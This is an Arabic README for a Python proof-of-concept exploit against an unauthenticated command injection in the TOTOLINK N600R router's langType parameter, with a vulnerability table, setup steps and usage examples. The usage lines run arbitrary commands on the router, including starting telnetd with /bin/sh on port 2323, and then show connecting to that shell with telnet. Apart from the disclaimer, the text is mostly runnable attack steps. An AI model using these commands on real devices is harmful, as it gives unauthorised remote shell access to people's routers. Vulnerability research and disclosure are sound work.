
# إثبات مفهوم بلغة بايثون لثغرة حقن أوامر نظام التشغيل غير المصادق عليها في جهاز TOTOLINK N600R، تستغل معامل langType لتنفيذ أوامر عشوائية على الجهاز.
إثبات مفهوم بلغة بايثون لحقن أوامر بدون مصادقة في جهاز TOTOLINK N600R.
| المنتج | TOTOLINK N600R |
| البرنامج الثابت | V5.3c.7159_B20190425 |
| النوع | حقن أوامر نظام التشغيل (CWE-78) |
| المعامل | langType |
| نقطة النهاية | /cgi-bin/cstecgi.cgi |
| CVSS v3.1 | 9.8 حرجة |
تم اكتشاف أن جهاز TOTOLink N600R بإصدار V5.3c.7159_B20190425 يحتوي على ثغرة حقن أوامر عبر معامل langtype في /setting/setLanguageCfg.
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# الاستخدام: python3 poc.py <الهدف> <الأمر>
# مثال: python3 poc.py 192.168.68.1 "reboot"
# مثال: python3 poc.py 192.168.68.1 "telnetd -p 2323 -l /bin/sh"
python3 poc.py <الهدف> <الأمر>
استخدام إثبات المفهوم لتنفيذ أوامر عن بُعد على الهدف لتمكين خدمة /bin/sh على المنفذ 2323
python3 poc.py 192.168.68.1 "telnetd -p 2323 -l /bin/sh"

تحقق من النتيجة إذا تم تمكين المنفذ 2323

الاتصال بالهدف باستخدام telnet عبر المنفذ 2323
telnet 192.168.68.1 2323

يُقدَّم هذا المحتوى كما هو دون أي ضمان. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر.